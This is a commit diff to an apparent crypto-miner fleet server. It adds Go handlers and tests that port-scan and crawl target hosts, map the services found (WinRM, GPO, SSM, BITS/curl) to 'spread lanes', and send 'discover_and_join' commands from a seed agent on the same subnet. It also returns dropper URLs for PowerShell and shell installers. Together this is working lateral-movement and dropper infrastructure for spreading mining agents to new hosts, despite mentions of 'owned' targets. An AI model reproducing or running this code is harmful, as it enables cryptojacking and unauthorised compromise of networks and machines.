Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
215
server/internal/api/fleet_spread_host.go
Normal file
215
server/internal/api/fleet_spread_host.go
Normal file
@@ -0,0 +1,215 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
type spreadToHostRequest struct {
|
||||
Host string `json:"host"`
|
||||
Finding string `json:"finding"`
|
||||
BuildID string `json:"build_id"`
|
||||
Campaign string `json:"campaign"`
|
||||
JoinLane string `json:"join_lane"`
|
||||
}
|
||||
|
||||
// POST /api/v1/fleet/spread-to-host
|
||||
// Body: {"host":"10.1.2.50","finding":"WinRM"} — no agent_id; seeds discover_and_join from best online hop.
|
||||
func (f *FleetHandler) PostSpreadToHost(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadToHostRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
req.Finding = strings.TrimSpace(req.Finding)
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.JoinLane = strings.TrimSpace(req.JoinLane)
|
||||
if req.Host == "" {
|
||||
http.Error(w, "host required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(req.Finding, NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok {
|
||||
http.Error(w, "no deploy lane matched finding", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.JoinLane != "" {
|
||||
lane.Lane = normalizeJoinLane(req.JoinLane)
|
||||
}
|
||||
|
||||
agentID, reachable, found := matchAgentForSpreadFleet(f.ws, f.db, req.Host)
|
||||
if found && reachable {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"agent_id": agentID,
|
||||
"agent_reachable": true,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"queued": false,
|
||||
"recommended_command": "discover_and_join",
|
||||
"operator_note": "Host already has a connected agent — select it in Crucible and run Probe & Join.",
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
seedID, seedName, seedOK := pickSpreadSeedAgent(f.ws, req.Host, lane.Lane)
|
||||
commandArgs := map[string]interface{}{
|
||||
"target_host": req.Host,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
}
|
||||
if req.BuildID != "" {
|
||||
commandArgs["build_id"] = req.BuildID
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
commandArgs["campaign"] = req.Campaign
|
||||
}
|
||||
|
||||
queued := false
|
||||
var dispatchErr string
|
||||
if seedOK && f.ws != nil {
|
||||
if err := f.ws.SendAgentCommand(seedID, "discover_and_join", commandArgs); err != nil {
|
||||
dispatchErr = err.Error()
|
||||
} else {
|
||||
queued = true
|
||||
}
|
||||
}
|
||||
|
||||
recommended := fmt.Sprintf(
|
||||
"Crucible → select seed %s → Probe & Join (discover_and_join) targeting %s via %s lane",
|
||||
firstNonEmptySpread(seedName, seedID, "best online agent"),
|
||||
req.Host,
|
||||
lane.Lane,
|
||||
)
|
||||
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": req.Host,
|
||||
"finding": req.Finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": false,
|
||||
"agent_found": found,
|
||||
"seed_agent_id": seedID,
|
||||
"seed_agent_name": seedName,
|
||||
"queued": queued,
|
||||
"dispatch_error": dispatchErr,
|
||||
"recommended_command": "discover_and_join",
|
||||
"command_args": commandArgs,
|
||||
"operator_note": recommended,
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(req.Host) + "&tab=spread",
|
||||
})
|
||||
}
|
||||
|
||||
func matchAgentForSpreadFleet(hub *WSHub, database *dbpkg.Database, host string) (agentID string, reachable bool, found bool) {
|
||||
if database == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := database.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
if ip == host || strings.EqualFold(ag.Name, host) || strings.EqualFold(ag.Hostname, host) {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if hub != nil {
|
||||
reachable = hub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func pickSpreadSeedAgent(hub *WSHub, targetHost, joinLane string) (agentID, agentName string, ok bool) {
|
||||
if hub == nil {
|
||||
return "", "", false
|
||||
}
|
||||
subnet := spreadrouter.SubnetFromIP(targetHost)
|
||||
if subnet != "" {
|
||||
in := buildSpreadRouterInput(hub, nil, []string{subnet}, joinLane)
|
||||
rt := spreadrouter.Build(in)
|
||||
if rec, found := rt.Recommend(subnet); found && rec.SeedAgentID != "" && hub.isAgentConnected(rec.SeedAgentID) {
|
||||
return rec.SeedAgentID, rec.SeedAgentName, true
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: lowest-latency connected agent on same /24.
|
||||
targetSubnet := spreadrouter.NormalizeSubnet(subnet)
|
||||
var bestID, bestName string
|
||||
bestLatency := int(^uint(0) >> 1)
|
||||
hub.mu.RLock()
|
||||
for id, conn := range hub.agents {
|
||||
if conn == nil || hub.db == nil {
|
||||
continue
|
||||
}
|
||||
ag, err := hub.db.GetAgent(id)
|
||||
if err != nil || ag == nil {
|
||||
continue
|
||||
}
|
||||
agSubnet := spreadrouter.SubnetFromIP(ag.IP)
|
||||
if targetSubnet != "" && spreadrouter.NormalizeSubnet(agSubnet) != targetSubnet {
|
||||
continue
|
||||
}
|
||||
lat := 9999
|
||||
if ag.LatencyMs != nil {
|
||||
lat = *ag.LatencyMs
|
||||
}
|
||||
if lat < bestLatency {
|
||||
bestLatency = lat
|
||||
bestID = id
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
if bestID != "" {
|
||||
return bestID, bestName, true
|
||||
}
|
||||
|
||||
// Last resort: any connected agent.
|
||||
hub.mu.RLock()
|
||||
for id := range hub.agents {
|
||||
if hub.agents[id] != nil {
|
||||
bestID = id
|
||||
if hub.db != nil {
|
||||
if ag, err := hub.db.GetAgent(id); err == nil && ag != nil {
|
||||
bestName = ag.Name
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
hub.mu.RUnlock()
|
||||
return bestID, bestName, bestID != ""
|
||||
}
|
||||
|
||||
func firstNonEmptySpread(parts ...string) string {
|
||||
for _, p := range parts {
|
||||
if strings.TrimSpace(p) != "" {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
62
server/internal/api/fleet_spread_host_test.go
Normal file
62
server/internal/api/fleet_spread_host_test.go
Normal file
@@ -0,0 +1,62 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
)
|
||||
|
||||
func TestPostSpreadToHostRecommendsCommand(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
database, err := db.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: "seed-1", Name: "seed-node", IP: "10.1.2.10", Status: "online", Hostname: "seed",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub := NewWSHub(database)
|
||||
fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, dir)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"host": "10.1.2.99", "finding": "WinRM"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostSpreadToHost(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["recommended_command"] != "discover_and_join" {
|
||||
t.Fatalf("recommended_command: %v", out["recommended_command"])
|
||||
}
|
||||
if out["join_lane"] != "winrm" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
note, _ := out["operator_note"].(string)
|
||||
if note == "" {
|
||||
t.Fatal("expected operator_note")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPostSpreadToHostRequiresHost(t *testing.T) {
|
||||
fh := NewFleetHandler(nil, nil, nil, nil, nil, pool.Config{}, t.TempDir())
|
||||
body, _ := json.Marshal(map[string]string{"finding": "WinRM"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/spread-to-host", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
fh.PostSpreadToHost(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("want 400 got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
235
server/internal/api/recon_deploy_kit.go
Normal file
235
server/internal/api/recon_deploy_kit.go
Normal file
@@ -0,0 +1,235 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
|
||||
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.deployPlan = plan
|
||||
h.publicURL = publicURL
|
||||
h.allowlistFn = allowlist
|
||||
}
|
||||
|
||||
type deployKitDropperURLs struct {
|
||||
GetWindows string `json:"get_windows,omitempty"`
|
||||
GetLinux string `json:"get_linux,omitempty"`
|
||||
GetDarwin string `json:"get_darwin,omitempty"`
|
||||
Get string `json:"get,omitempty"`
|
||||
InstallPS1 string `json:"install_ps1,omitempty"`
|
||||
InstallSh string `json:"install_sh,omitempty"`
|
||||
InstallCmd string `json:"install_command,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadZIP struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadTemplate struct {
|
||||
Template string `json:"template,omitempty"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// GET /api/v1/recon/deploy-kit?host=&finding=
|
||||
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
||||
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
||||
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
||||
if host == "" {
|
||||
http.Error(w, "host query param required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"error": "no deploy lane matched finding",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
||||
buildID, campaign := "", ""
|
||||
if h.db != nil {
|
||||
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
|
||||
buildID = b.ID
|
||||
}
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
dropper := deployKitDropperURLs{
|
||||
Get: serverURL + "/get" + querySuffix,
|
||||
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
||||
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
|
||||
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
||||
InstallPS1: serverURL + "/install.ps1" + querySuffix,
|
||||
InstallSh: serverURL + "/install.sh" + querySuffix,
|
||||
InstallCmd: serverURL + "/install.command" + querySuffix,
|
||||
}
|
||||
|
||||
resp := map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": agentReachable,
|
||||
"agent_found": agentFound,
|
||||
"dropper_urls": dropper,
|
||||
"spread_kit_zip": deployKitSpreadZIP{
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-kit-export",
|
||||
Note: "Body: { server_url, build_id?, campaign? }",
|
||||
},
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
|
||||
}
|
||||
if agentID != "" {
|
||||
resp["agent_id"] = agentID
|
||||
}
|
||||
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
||||
resp["spread_template"] = deployKitSpreadTemplate{
|
||||
Template: tpl,
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-template-export",
|
||||
}
|
||||
}
|
||||
|
||||
if h.deployPlan != nil {
|
||||
req := deployPlanRequest{
|
||||
BuildID: buildID,
|
||||
Campaign: campaign,
|
||||
Platform: platformForReconHost(host, lane.Lane),
|
||||
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
|
||||
}
|
||||
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
||||
resp["deploy_plan_template"] = plan
|
||||
}
|
||||
}
|
||||
|
||||
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
||||
if h.deployPlan != nil {
|
||||
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
|
||||
BuildID: buildID, Campaign: campaign, Platform: "linux",
|
||||
}, serverURL); err == nil {
|
||||
resp["ssm_bundle"] = bundle
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
if h.allowlistFn != nil {
|
||||
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
||||
}
|
||||
return NormalizeServiceDeployAllowlist(nil)
|
||||
}
|
||||
|
||||
func resolveSpreadServerURL(h *SpreadHandler) string {
|
||||
if h.publicURL != nil {
|
||||
return h.publicURL()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
finding = strings.TrimSpace(finding)
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
|
||||
if finding == "" {
|
||||
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
||||
}
|
||||
|
||||
lower := strings.ToLower(finding)
|
||||
if strings.Contains(lower, "ssm") {
|
||||
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
||||
}
|
||||
|
||||
normalized := normalizeJoinLane(finding)
|
||||
for _, entry := range allowlist {
|
||||
if entry.Lane == normalized {
|
||||
return finding, entry, true
|
||||
}
|
||||
}
|
||||
if normalized != "" && normalized != finding {
|
||||
return finding, ServiceDeployLane{Lane: normalized}, true
|
||||
}
|
||||
|
||||
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
|
||||
{Name: finding, Status: "running"},
|
||||
}, allowlist)
|
||||
if ok {
|
||||
return matched, lane, true
|
||||
}
|
||||
|
||||
// Case-insensitive service alias (e.g. winrm → WinRM)
|
||||
for name, entry := range allowlist {
|
||||
if strings.EqualFold(name, finding) {
|
||||
return name, entry, true
|
||||
}
|
||||
}
|
||||
return "", ServiceDeployLane{}, false
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
if host == "" || h.db == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
name := strings.TrimSpace(strings.ToLower(ag.Name))
|
||||
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
|
||||
if ip == host || name == host || hostname == host {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if h.wsHub != nil {
|
||||
reachable = h.wsHub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func platformForReconHost(host, lane string) string {
|
||||
if strings.Contains(lane, "linux") {
|
||||
return "linux"
|
||||
}
|
||||
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
|
||||
_ = host
|
||||
return "windows"
|
||||
}
|
||||
|
||||
func urlQueryEscape(s string) string {
|
||||
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
|
||||
}
|
||||
110
server/internal/api/recon_deploy_kit_test.go
Normal file
110
server/internal/api/recon_deploy_kit_test.go
Normal file
@@ -0,0 +1,110 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
artifact := filepath.Join(dir, "worker.exe")
|
||||
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
database, err := db.New(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
|
||||
FilePath: artifact, Pinned: true,
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
deployH := NewDeployPlanHandler(database, dir, root,
|
||||
func() string { return "https://deck.example" },
|
||||
func() string { return "fleet-secret" },
|
||||
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
||||
)
|
||||
spreadH := NewSpreadHandler(database, dir, root, nil)
|
||||
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
|
||||
return NormalizeServiceDeployAllowlist(nil)
|
||||
})
|
||||
return spreadH, deployH
|
||||
}
|
||||
|
||||
func TestGetDeployKitWinRM(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["join_lane"] != "winrm" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
dropper, ok := out["dropper_urls"].(map[string]interface{})
|
||||
if !ok || dropper["install_ps1"] == "" {
|
||||
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
|
||||
}
|
||||
if out["spread_kit_zip"] == nil {
|
||||
t.Fatal("expected spread_kit_zip")
|
||||
}
|
||||
if out["deploy_plan_template"] == nil {
|
||||
t.Fatal("expected deploy_plan_template")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetDeployKitSSM(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var out map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out["join_lane"] != "ssm_document" {
|
||||
t.Fatalf("join_lane: %v", out["join_lane"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetDeployKitRequiresHost(t *testing.T) {
|
||||
spreadH, _ := testReconSpreadHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
spreadH.GetDeployKit(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("want 400 got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveReconFinding(t *testing.T) {
|
||||
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok || lane.Lane != "gpo" {
|
||||
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
|
||||
}
|
||||
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
|
||||
if !ok || lane.Lane != "bits_curl" {
|
||||
t.Fatalf("empty finding default: %v", lane.Lane)
|
||||
}
|
||||
}
|
||||
92
server/internal/api/recon_handler.go
Normal file
92
server/internal/api/recon_handler.go
Normal file
@@ -0,0 +1,92 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/recon"
|
||||
)
|
||||
|
||||
// ReconHandler serves owned-target browser deploy recon.
|
||||
type ReconHandler struct {
|
||||
db *dbpkg.Database
|
||||
wsHub *WSHub
|
||||
}
|
||||
|
||||
func NewReconHandler(database *dbpkg.Database, hub *WSHub) *ReconHandler {
|
||||
return &ReconHandler{db: database, wsHub: hub}
|
||||
}
|
||||
|
||||
// POST /api/v1/recon/scan
|
||||
func (h *ReconHandler) Scan(w http.ResponseWriter, r *http.Request) {
|
||||
var req recon.ScanRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.Host = strings.TrimSpace(req.Host)
|
||||
if req.Host == "" {
|
||||
http.Error(w, "host required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
report, err := recon.Scan(req)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
if h != nil && h.db != nil {
|
||||
payload := map[string]interface{}{
|
||||
"host": report.Host,
|
||||
"open_ports": openPortList(report.Ports),
|
||||
"ssrf_score": crawlSSRFScore(report.Crawl),
|
||||
"recommendations": len(report.Recommendations),
|
||||
"cms_fingerprints": crawlCMS(report.Crawl),
|
||||
}
|
||||
_ = (&OathLedgerBridge{DB: h.db, Hub: oathHub(h)}).Record(
|
||||
AuthUsername(r),
|
||||
dbpkg.OathReconScan,
|
||||
"",
|
||||
"",
|
||||
dbpkg.OathOutcomeSuccess,
|
||||
map[string]string{"host": report.Host},
|
||||
payload,
|
||||
)
|
||||
}
|
||||
|
||||
writeJSON(w, report)
|
||||
}
|
||||
|
||||
func oathHub(h *ReconHandler) *WSHub {
|
||||
if h == nil {
|
||||
return nil
|
||||
}
|
||||
return h.wsHub
|
||||
}
|
||||
|
||||
func openPortList(ports []recon.PortResult) []int {
|
||||
var out []int
|
||||
for _, p := range ports {
|
||||
if p.Open {
|
||||
out = append(out, p.Port)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func crawlSSRFScore(c *recon.CrawlReport) int {
|
||||
if c == nil {
|
||||
return 0
|
||||
}
|
||||
return c.SSRFScore
|
||||
}
|
||||
|
||||
func crawlCMS(c *recon.CrawlReport) []string {
|
||||
if c == nil {
|
||||
return nil
|
||||
}
|
||||
return c.CMSFingerprints
|
||||
}
|
||||
67
server/internal/api/recon_handler_test.go
Normal file
67
server/internal/api/recon_handler_test.go
Normal file
@@ -0,0 +1,67 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/recon"
|
||||
)
|
||||
|
||||
func TestReconScanEndpoint(t *testing.T) {
|
||||
recon.SetPortDialHook(func(host string, port int, _ time.Duration) bool {
|
||||
return port == 80
|
||||
})
|
||||
t.Cleanup(func() { recon.SetPortDialHook(nil) })
|
||||
recon.SetFetchPageHook(func(rawURL string) (int, string, error) {
|
||||
return 200, `<html><form enctype="multipart/form-data"><input type="text" name="preview_url"><input type="file" name="payload"></form></html>`, nil
|
||||
})
|
||||
t.Cleanup(func() { recon.SetFetchPageHook(nil) })
|
||||
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
h := NewReconHandler(database, nil)
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"host": "recon.lab",
|
||||
"port": 80,
|
||||
"scheme": "http",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader(body))
|
||||
w := httptest.NewRecorder()
|
||||
h.Scan(w, req)
|
||||
if w.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", w.Code, w.Body.String())
|
||||
}
|
||||
var report recon.ScanReport
|
||||
if err := json.Unmarshal(w.Body.Bytes(), &report); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if report.Host != "recon.lab" || report.Crawl == nil || len(report.Recommendations) == 0 {
|
||||
t.Fatalf("report=%+v", report)
|
||||
}
|
||||
rows, err := database.ListOathLedger(5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rows) == 0 || rows[0].ActionType != db.OathReconScan {
|
||||
t.Fatalf("oath rows=%+v", rows)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReconScanRequiresHost(t *testing.T) {
|
||||
h := NewReconHandler(nil, nil)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/recon/scan", bytes.NewReader([]byte(`{}`)))
|
||||
w := httptest.NewRecorder()
|
||||
h.Scan(w, req)
|
||||
if w.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status=%d", w.Code)
|
||||
}
|
||||
}
|
||||
@@ -552,6 +552,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
vulnHandler := NewVulnHandler()
|
||||
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
||||
|
||||
reconHandler := NewReconHandler(database, wsHub)
|
||||
r.Post("/recon/scan", reconHandler.Scan)
|
||||
|
||||
// Agents
|
||||
r.Get("/agents", h.ListAgents)
|
||||
r.Get("/agents/{id}", h.GetAgent)
|
||||
@@ -595,6 +598,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
|
||||
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
|
||||
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
||||
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
|
||||
}
|
||||
if fleetAIHandler != nil {
|
||||
r.Get("/ai/models", fleetAIHandler.GetModels)
|
||||
